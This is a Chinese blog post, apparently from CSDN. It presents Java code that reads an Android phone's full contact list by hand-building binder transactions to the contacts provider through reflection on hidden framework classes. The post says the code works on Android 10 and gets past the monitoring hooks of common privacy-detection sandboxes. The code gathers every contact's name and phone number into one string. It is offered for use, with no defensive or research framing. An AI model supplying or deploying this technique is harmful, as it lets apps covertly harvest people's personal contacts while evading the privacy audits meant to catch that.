黑科技-通过IBinder直接与服务端通信获取通讯录

适配安卓10,可绕过常规的隐私检测沙箱的桩点

private static Bundle createSqlQueryBundle(String selection, String[] selectionArgs, String sortOrder) {
    if (selection == null && selectionArgs == null && sortOrder == null) {
        return null;
    }
    Bundle queryArgs = new Bundle();
    if (selection != null) {
        queryArgs.putString("android:query-arg-sql-selection", selection);
    }
    if (selectionArgs != null) {
        queryArgs.putStringArray("android:query-arg-sql-selection-args", selectionArgs);
    }
    if (sortOrder != null) {
        queryArgs.putString("android:query-arg-sql-sort-order", sortOrder);
    }
    return queryArgs;
}
 
private static Cursor query_transact(ContentResolver objContentResolver, String mPackageName, Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder){
    try{
        Log.i("testtest", "\n\n");
        // 构造参数
        Bundle queryArgs = createSqlQueryBundle(selection, selectionArgs, sortOrder);
        Object remoteCancellationSignal = null;
        Log.i("testtest", "queryArgs -> " + String.valueOf(queryArgs));
 
        // 获取unstableProvider
        Class<?> clsContentResolver = Class.forName("android.content.ContentResolver");
        Log.i("testtest", "clsContentResolver -> " + clsContentResolver.toString());
        Method methodacquireUnstableProvider = clsContentResolver.getMethod("acquireUnstableProvider", Uri.class);
        Log.i("testtest", "methodacquireUnstableProvider -> " + methodacquireUnstableProvider.toString());
        methodacquireUnstableProvider.setAccessible(true);
        Object unstableProvider = methodacquireUnstableProvider.invoke(objContentResolver, uri);  //ContentProviderProxy
        Log.i("testtest", "unstableProvider -> " + unstableProvider.toString());
 
        // 获取ContentProviderProxy的mRemote
        Class<?> clsContentProviderProxy = Class.forName("android.content.ContentProviderProxy");
        Log.i("testtest", "clsContentProviderProxy -> " + clsContentProviderProxy.toString());
        Field fieldmRemote = clsContentProviderProxy.getDeclaredField("mRemote");
        fieldmRemote.setAccessible(true);
        IBinder objmRemote = (IBinder)fieldmRemote.get(unstableProvider);
        Log.i("testtest", "objmRemote -> " + objmRemote.toString());
 
        // 构造BulkCursorToCursorAdaptor
        Class<?> clsBulkCursorToCursorAdaptor = Class.forName("android.database.BulkCursorToCursorAdaptor");
        Log.i("testtest", "clsBulkCursorToCursorAdaptor -> " + clsBulkCursorToCursorAdaptor.toString());
        Constructor<?>[] constructorsBulkCursorToCursorAdaptor = clsBulkCursorToCursorAdaptor.getDeclaredConstructors();
        Constructor<?> constructorBulkCursorToCursorAdaptor = constructorsBulkCursorToCursorAdaptor[0];
        Log.i("testtest", "constructorBulkCursorToCursorAdaptor -> " + constructorBulkCursorToCursorAdaptor.getName());
        constructorBulkCursorToCursorAdaptor.setAccessible(true);
        Object adaptor = constructorBulkCursorToCursorAdaptor.newInstance();
 
        // 与服务端通信
        Parcel data = Parcel.obtain();
        Parcel reply = Parcel.obtain();
 
        try {
            data.writeInterfaceToken("android.content.IContentProvider");
            data.writeString(mPackageName);
            uri.writeToParcel(data, 0);
            int length = 0;
            if (projection != null) {
                length = projection.length;
            }
            data.writeInt(length);
            for (int i = 0; i < length; i++) {
                data.writeString(projection[i]);
            }
            data.writeBundle(queryArgs);
 
            // call BulkCursorToCursorAdaptor.getObserver
            Method methodgetObserver = clsBulkCursorToCursorAdaptor.getDeclaredMethod("getObserver");
            methodgetObserver.setAccessible(true);
            Object objIContentObserver = methodgetObserver.invoke(adaptor);
            Log.i("testtest", "objIContentObserver -> " + objIContentObserver.getClass().getName());
 
            // 获取内部类android.database.ContentObserver$Transport
            Class<?> clsContentObserver = Class.forName("android.database.ContentObserver");
            Log.i("testtest", "clsContentObserver -> " + clsContentObserver.toString());
            Class<?>[] innerClassesTransport = clsContentObserver.getDeclaredClasses();
            Log.i("testtest", "innerClassesTransport -> " + innerClassesTransport.length);
            Class<?> innerClassTransport = null;
            for (Class<?> clazz : innerClassesTransport) {
                if (clazz.getSimpleName().equals("Transport")) {
                    innerClassTransport = clazz;
                    break;
                }
            }
            Log.i("testtest", "innerClassTransport -> " + innerClassTransport.toString());
 
            Method methodasBinder = innerClassTransport.getMethod("asBinder");
            Log.i("testtest", "methodasBinder -> " + methodasBinder.toString());
            methodasBinder.setAccessible(true);
            IBinder mIBinder = (IBinder)methodasBinder.invoke(objIContentObserver);
            Log.i("testtest", "mIBinder -> " + mIBinder.toString());
 
            data.writeStrongBinder(mIBinder);
            data.writeStrongBinder(null);
 
            //拿调用号
            int IContentProvider_QUERY_TRANSACTION = -1;
            try {
                Class<?> clsIContentProvider = Class.forName("android.content.IContentProvider");
                Field field = clsIContentProvider.getDeclaredField("QUERY_TRANSACTION");
                assert field != null;
                field.setAccessible(true);
                IContentProvider_QUERY_TRANSACTION = field.getInt(null);
            } catch (Throwable e) {
                e.printStackTrace();
                return null;
            }
            Log.i("testtest", "IContentProvider_QUERY_TRANSACTION -> " + IContentProvider_QUERY_TRANSACTION);
 
            objmRemote.transact(IContentProvider_QUERY_TRANSACTION, data, reply, 0);
 
            DatabaseUtils.readExceptionFromParcel(reply);
 
            if (reply.readInt() != 0) {
                // BulkCursorDescriptor d = BulkCursorDescriptor.CREATOR.createFromParcel(reply);
                Class<?> clsBulkCursorDescriptor = Class.forName("android.database.BulkCursorDescriptor");
                Field fieldCREATOR = clsBulkCursorDescriptor.getDeclaredField("CREATOR");
                fieldCREATOR.setAccessible(true);
                Parcelable.Creator objCREATOR = (Parcelable.Creator)fieldCREATOR.get(null);
                Log.i("testtest", "objCREATOR -> " + objCREATOR.getClass().getName());
                Method methodcreateFromParcel = objCREATOR.getClass().getDeclaredMethod("createFromParcel", Parcel.class);
                Log.i("testtest", "methodcreateFromParcel -> " + methodcreateFromParcel.toString());
                methodcreateFromParcel.setAccessible(true);
                Object d = methodcreateFromParcel.invoke(objCREATOR, reply);
                Log.i("testtest", "d -> " + d.toString());
 
                // Binder.copyAllowBlocking(mRemote, (d.cursor != null) ? d.cursor.asBinder() : null);
                Field fieldcursor = clsBulkCursorDescriptor.getDeclaredField("cursor");
                fieldcursor.setAccessible(true);
                Object objcursor= fieldcursor.get(d);
                Log.i("testtest", "objcursor -> " + objcursor.toString());
 
                IBinder cursorBinder = null;
                if (objcursor != null){
                    Method methodcursorasBinder = objcursor.getClass().getMethod("asBinder");
                    methodcursorasBinder.setAccessible(true);
                    cursorBinder = (IBinder)methodcursorasBinder.invoke(objcursor);
                    Log.i("testtest", "cursorBinder -> " + cursorBinder.toString());
                }
 
                Class<?> clsBinder = Class.forName("android.os.Binder");
                Method methodcopyAllowBlocking = clsBinder.getDeclaredMethod("copyAllowBlocking", IBinder.class, IBinder.class);
                Log.i("testtest", "methodcopyAllowBlocking -> " + methodcopyAllowBlocking.toString());
                methodcopyAllowBlocking.setAccessible(true);
                methodcopyAllowBlocking.invoke(null, objmRemote, cursorBinder);
 
                // adaptor.initialize(d);
                Method methodinitialize = clsBulkCursorToCursorAdaptor.getDeclaredMethod("initialize", clsBulkCursorDescriptor);
                methodinitialize.setAccessible(true);
                methodinitialize.invoke(adaptor, d);
            } else {
                return null;
            }
        } catch (Throwable th) {
            Log.e("testtest", th.toString());
        } finally {
            data.recycle();
            reply.recycle();
        }
 
        Cursor qCursor = (Cursor)adaptor;
        Log.i("testtest", "qCursor -> " + qCursor.toString());
        if (qCursor == null){
            return null;
        }
        qCursor.getCount();
 
        // 获取provider
        Method methodacquireProvider = clsContentResolver.getMethod("acquireProvider", Uri.class);
        methodacquireProvider.setAccessible(true);
        Object provider = methodacquireProvider.invoke(objContentResolver, uri);
        Log.i("testtest", "provider -> " + provider.toString());
 
        // 构造ContentResolver$CursorWrapperInner
        Class<?> clsIContentProvider = Class.forName("android.content.IContentProvider");
        Log.i("testtest", "clsIContentProvider -> " + clsIContentProvider.toString());
 
        // 获取内部类CursorWrapperInner
        Class<?>[] innerClasses = clsContentResolver.getDeclaredClasses();
        Class<?> innerClass = null;
        for (Class<?> clazz : innerClasses) {
            if (clazz.getSimpleName().equals("CursorWrapperInner")) {
                innerClass = clazz;
                break;
            }
        }
 
        // 获取构造函数CursorWrapperInner.<init>
        Constructor<?>[] constructors = innerClass.getDeclaredConstructors();
        Constructor<?> innerConstructor = constructors[0];
        innerConstructor.setAccessible(true);
        Cursor cursor = (Cursor)innerConstructor.newInstance(objContentResolver, qCursor, provider); //第一个参数为外部类的this指针
        Log.i("testtest", "cursor -> " + cursor.toString());
 
        return cursor;
    } catch (Throwable th){
        Log.e("testtest", th.toString());
    }
 
    return null;
}
 
//获取通讯录数据
public static String get_contact(Context context) {
    String mPackageName = context.getPackageName();
    ContentResolver objContentResolver = context.getContentResolver();
    Cursor cursor = query_transact(objContentResolver, mPackageName, ContactsContract.Contacts.CONTENT_URI, null,null,null,null);
    if (cursor == null){
        return null;
    }
    String contactInfo = "";
    while ( cursor.moveToNext() ) {
        @SuppressLint("Range") String id = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
        @SuppressLint("Range") String name = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
        @SuppressLint("Range") int isHas = cursor.getInt(cursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER));
        if (isHas > 0) {
            Cursor cursor1 = query_transact(objContentResolver, mPackageName, ContactsContract.CommonDataKinds.Phone.CONTENT_URI,null,
                    ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + id,
                    null, null);
            while (cursor1.moveToNext()) {
 
                contactInfo = contactInfo + name;
                @SuppressLint("Range") String number = cursor1.getString(
                        cursor1.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)).trim();
                number = number.replace(" ","");
                number = number.replace("-","");
                contactInfo = contactInfo + number;
                contactInfo = contactInfo + "\n";
                Log.i("testtest", contactInfo);
            }
            cursor1.close();
        }
    }
    cursor.close();
    return contactInfo;
}

截图:

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值